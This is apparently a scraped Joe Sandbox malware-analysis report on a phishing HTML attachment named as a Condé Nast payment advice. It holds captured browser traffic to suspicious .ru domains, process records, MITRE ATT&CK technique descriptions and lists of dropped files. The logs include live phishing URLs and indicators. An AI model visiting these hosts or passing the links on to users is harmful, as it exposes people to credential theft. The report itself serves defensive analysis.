r+J4o/MAjeYMmFpiMFHz8kXRcPlFZfXpjKnrMcYEH2scGrUnhg90O+qckN5jdoENWTsJVAmEUwksH3OxTRmpJOmjApF0VyhKozRrzkmY3ZV+nBoeBQ5S9D7ZC13nA9YmyKRFUpLS0INR4nuYCK9RzhtKwXclhx8GpEqSM4ZXwbyL3a02GTD9EL5fel2+Xp2j0h0cIBuQ=$WpnY0 [TRUNCATED] cf-chl-out: L5gQzOA+zDUhRAfLQltqCA7L4Xmz+rKilE/jbGjHPTJQAg+YofpMgxTWvL+XuYl9Aol2mhgVZWTPGopWQIJoUBeIRe8OEQd4frN85l4uqg==$ZrhGjUMTu9J4ngZJ Server: cloudflare CF-RAY: 8ff156ea98504322-EWR
2025-01-09 03:28:50 UTC	32	IN	Data Raw: 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: alt-svc: h3=":443"; ma=86400
2025-01-09 03:28:50 UTC	1345	IN	Data Raw: 6e 72 4f 2b 6b 70 79 63 68 70 6d 54 6f 59 61 62 69 38 2b 34 6a 5a 72 50 30 64 53 74 73 61 2b 59 73 36 53 5a 6c 63 6d 75 77 4a 79 65 33 4d 79 34 6f 65 4f 30 6f 64 53 6c 7a 4f 6d 6c 72 63 61 34 71 62 48 4b 78 76 54 78 35 4d 66 7a 38 72 65 31 36 50 54 67 2f 50 72 42 39 37 59 44 78 4d 41 46 78 76 50 48 78 66 6a 75 38 4d 77 4c 44 51 48 6e 45 77 45 48 30 51 58 71 2f 4e 73 59 33 51 77 63 48 66 62 35 35 42 45 63 2f 66 59 55 2f 51 4c 73 4a 79 6e 74 41 6a 45 63 37 51 51 76 48 2f 50 78 4a 44 45 64 4f 6a 67 35 4c 45 49 37 50 79 49 46 51 41 55 66 45 6b 63 4a 42 41 59 34 4c 7a 45 51 55 68 4a 4e 49 56 41 2f 46 68 41 70 54 6b 74 46 4e 44 6c 4c 50 42 78 66 4d 46 51 7a 57 45 41 32 56 7a 59 69 58 45 46 58 53 45 39 79 52 32 31 73 4e 6d 31 34 52 32 5a 6d 4f 6c 41 35 4d 59 45 Data Ascii: nrO+kpychpmToYabi8+4jZrP0dStsa+Ys6SZlcmuwJye3My4oeO0odSlzOmlrca4qbHKxvTx5Mfz8re16PTg/PrB97YDxMAFxvPHxfju8MwLDQHnEwEH0QXq/NsY3QwcHfb55BEc/fYU/QLsJyntAjEc7QQvH/PxJDEdOjg5LEI7PyIFQAUfEkcJBAY4LzEQUhJNIVA/FhApTktFNDlLPBxfMFQzWEA2VzYiXEFXSE9yR21sNm14R2ZmOlA5MYE
2025-01-09 03:28:50 UTC	1369	IN	Data Raw: 4b 4e 32 71 32 75 6f 6d 35 43 49 75 5a 65 7a 69 70 71 58 76 6e 37 43 67 5a 32 53 67 4d 43 2f 6d 63 75 35 71 5a 72 43 78 5a 2b 6b 31 4a 62 50 6b 74 65 6a 78 4b 57 31 7a 4a 2b 73 75 73 79 67 74 62 43 37 77 37 48 6f 76 37 75 38 78 72 66 61 76 4d 6a 50 35 63 58 32 76 2f 44 45 36 66 7a 55 79 4f 37 66 38 39 54 5a 2f 4e 33 46 76 50 7a 67 30 2f 66 54 41 74 66 39 32 2f 6a 50 36 75 49 54 34 65 30 43 36 63 73 4b 38 2b 54 55 31 4e 59 56 37 2f 7a 76 48 2b 34 6e 2b 78 37 7a 4a 2b 49 67 35 41 50 6d 4a 2b 63 68 4c 69 4c 75 4d 66 59 46 42 54 6a 78 46 76 55 48 48 2f 6f 52 47 44 6e 2b 45 50 77 36 46 51 6c 4a 4b 44 67 58 46 7a 31 4d 48 42 73 76 45 69 4a 45 45 79 6b 5a 53 30 30 34 4b 44 64 4b 4f 69 49 72 56 6c 59 75 4c 7a 78 63 50 46 67 72 58 79 35 76 57 53 64 42 4b 53 74 4e Data Ascii: KN2q2uom5CIuZezipqXvn7CgZ2SgMC/mcu5qZrCxZ+k1JbPktejxKW1zJ+susygtbC7w7Hov7u8xrfavMjP5cX2v/DE6fzUyO7f89TZ/N3FvPzg0/fTAtf92/jP6uIT4e0C6csK8+TU1NYV7/zvH+4n+x7zJ+Ig5APmJ+chLiLuMfYFBTjxFvUHH/oRGDn+EPw6FQlJKDgXFz1MHBsvEiJEEykZS004KDdKOiIrVlYuLzxcPFgrXy5vWSdBKStN
2025-01-09 03:28:50 UTC	1369	IN	Data Raw: 69 64 64 37 61 30 6d 5a 2b 55 75 35 68 2f 75 72 53 6f 67 6f 4f 69 70 36 75 4c 67 70 2b 67 6b 71 6a 44 31 74 4c 59 77 63 7a 44 74 4e 54 56 31 4d 75 59 74 35 33 61 35 74 33 51 75 2b 6a 69 71 4c 66 63 71 63 7a 77 34 4f 65 72 38 4f 4c 58 7a 4d 75 7a 30 4c 4c 77 32 63 7a 66 7a 75 44 58 31 76 72 50 42 4e 2f 58 32 76 66 69 44 73 54 39 7a 75 45 54 45 4e 49 41 35 4d 77 57 45 65 51 49 30 64 62 55 39 67 6f 53 38 2f 6e 72 46 2f 41 6b 35 51 50 6e 47 52 72 35 33 78 2f 33 4a 65 67 78 4c 69 50 73 4e 77 63 4f 38 69 72 32 4d 50 77 2b 43 30 41 4c 43 30 46 42 2b 78 41 36 4e 68 59 55 41 79 34 61 54 69 64 51 49 69 68 4e 4d 42 34 4e 4d 46 41 71 44 52 70 63 48 46 39 4e 58 44 42 52 47 7a 59 64 50 78 34 6d 4f 57 5a 65 4f 7a 5a 74 50 46 39 44 53 47 70 68 50 79 6b 79 64 6a 6c 46 64 Data Ascii: idd7a0mZ+Uu5h/urSogoOip6uLgp+gkqjD1tLYwczDtNTV1MuYt53a5t3Qu+jiqLfcqczw4Oer8OLXzMuz0LLw2czfzuDX1vrPBN/X2vfiDsT9zuETENIA5MwWEeQI0dbU9goS8/nrF/Ak5QPnGRr53x/3JegxLiPsNwcO8ir2MPw+C0ALC0FB+xA6NhYUAy4aTidQIihNMB4NMFAqDRpcHF9NXDBRGzYdPx4mOWZeOzZtPF9DSGphPykydjlFd
2025-01-09 03:28:50 UTC	541	IN	Data Raw: 69 67 5a 50 42 76 61 43 54 70 4b 4f 6b 6e 4c 32 46 7a 59 6d 6e 78 61 36 66 6e 38 6e 48 70 64 53 61 76 61 2b 32 34 4d 69 58 7a 37 75 2b 73 4c 44 67 35 4c 61 7a 34 4d 57 6b 77 2b 6a 52 77 4c 72 6c 33 4c 33 32 35 4e 47 35 2b 4d 66 4d 74 4c 53 36 36 39 50 76 75 51 4c 50 39 74 76 39 43 2b 4c 42 79 38 7a 69 78 75 72 69 79 41 48 31 7a 41 4c 6e 38 38 2f 30 47 67 6a 6f 44 2f 37 61 38 65 73 69 45 2f 44 59 47 65 58 37 46 2b 59 44 41 43 37 75 4b 67 51 77 43 42 38 49 4a 75 33 75 42 42 51 79 4b 50 4d 76 48 43 6b 43 44 52 41 63 41 78 45 58 48 78 6f 6b 42 7a 38 48 53 68 73 6e 49 54 30 53 4b 77 31 58 49 45 6f 52 4d 46 4a 4c 58 7a 6b 34 54 52 6b 34 4e 7a 77 33 4f 79 64 59 61 32 74 44 51 6d 38 75 4a 6b 68 42 62 6b 74 64 64 33 64 4d 61 7a 4a 46 52 31 35 2f 57 56 52 79 4f 56 Data Ascii: igZPBvaCTpKOknL2FzYmnxa6fn8nHpdSava+24MiXz7u+sLDg5Laz4MWkw+jRwLrl3L325NG5+MfMtLS669PvuQLP9tv9C+LBy8zixuriyAH1zALn88/0GgjoD/7a8esiE/DYGeX7F+YDAC7uKgQwCB8IJu3uBBQyKPMvHCkCDRAcAxEXHxokBz8HShsnIT0SKw1XIEoRMFJLXzk4TRk4Nzw3OydYa2tDQm8uJkhBbktdd3dMazJFR15/WVRyOV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49834	104.18.94.41	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 03:28:51 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1841493557:1736389842:pB4s7u0wqpZFW7tcd-C2AhvV7grUnI6cdD9HQVBEQaU/8ff1568eaca342db/bAYp9OaNGE9eFw.LBpuj4fjwBScjjr1R6Wa2KLEL1ac-1736393315-1.1.1.1-4PtztNUheHgsBzttiRAftBKAqFOrB0gowvOiT54mWcrdNUOtC7qigNJEGLColiBD HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 03:28:51 UTC	379	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 03:28:51 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: +ZajmZKyvfpBKd5VHvlikJ3tUfDSj8GfhcI=$U8Ij02Gl/tm8svQ+ cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ff156ef6ed75e66-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 03:28:51 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49841	104.21.42.208	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 03:28:51 UTC	653	OUT	GET /2537246819628557574OlqyeVTOPFSYTEZKKDXQDVHNSHXAHYFF HTTP/1.1 Host: ckfucbnuq45xxm9wui64hmdaejy0efptehhe0wi6bqhtcqedccnms0dm.ivertoneym.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://cciq.absousium.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://cciq.absousium.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 03:28:52 UTC	894	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:28:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ul6omdRSiKRZ92qMPA%2Bsauv1P6QT3q%2Bnm6yDGOQ2sdZsDwZ66vTBZzkc8bxSVcABW%2BN2BiQKlJ35%2BvX%2F7QjwAp4Qnbc7rKqp69MByVGAXfCnPhB10reLtw4iRbaOTSbKbTRqjWl1lAPPTii0ieiyt6C7NRmYm13W8sqILVmHALMIx6XvOF37t2QMsQpne7oKOCqbh9Lgu7zg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff156f309f5c44a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1586&min_rtt=1536&rtt_var=612&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1231&delivery_rate=1901041&cwnd=228&unsent_bytes=0&cid=229a35a287b3635c&ts=567&x=0"
2025-01-09 03:28:52 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-01-09 03:28:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49855	104.21.42.208	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 03:28:53 UTC	445	OUT	GET /2537246819628557574OlqyeVTOPFSYTEZKKDXQDVHNSHXAHYFF HTTP/1.1 Host: ckfucbnuq45xxm9wui64hmdaejy0efptehhe0wi6bqhtcqedccnms0dm.ivertoneym.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 03:28:53 UTC	896	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:28:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tlgweubPHPCXgpGXvSNopoc9aEfp0EurOfyivBh%2FGjml%2B0voIktP4RUoz%2B8obMq4oT%2FLAV955%2FZuUjT7I3Q2BNkjzps3FXHisPWcgVWgDmYYfxCEXj0378U7KkUyQavomdI9dmrwby7sA5TwfZ3WdO30CXiib6mM0OYCikWLU6k%2FuDRsxQRWGiPA7XPHJ6x2JRRLcF0TBafp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff156fe2f119e17-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1778&min_rtt=1765&rtt_var=689&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1023&delivery_rate=1556503&cwnd=186&unsent_bytes=0&cid=29cdb904776611e9&ts=553&x=0"
2025-01-09 03:28:53 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-01-09 03:28:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	22:28:22
Start date:	08/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Condenast eCHECK- Payment Advice.html"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	22:28:27
Start date:	08/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1948,i,17218853345926001592,13168728609757809945,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Condenast eCHECK- Payment Advice.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 124

Chrome Cache Entry: 125

Chrome Cache Entry: 126

Chrome Cache Entry: 127

Chrome Cache Entry: 128

Chrome Cache Entry: 129

Chrome Cache Entry: 130

Chrome Cache Entry: 131

Chrome Cache Entry: 132

Chrome Cache Entry: 133

Chrome Cache Entry: 134

Windows Analysis Report
Condenast eCHECK- Payment Advice.html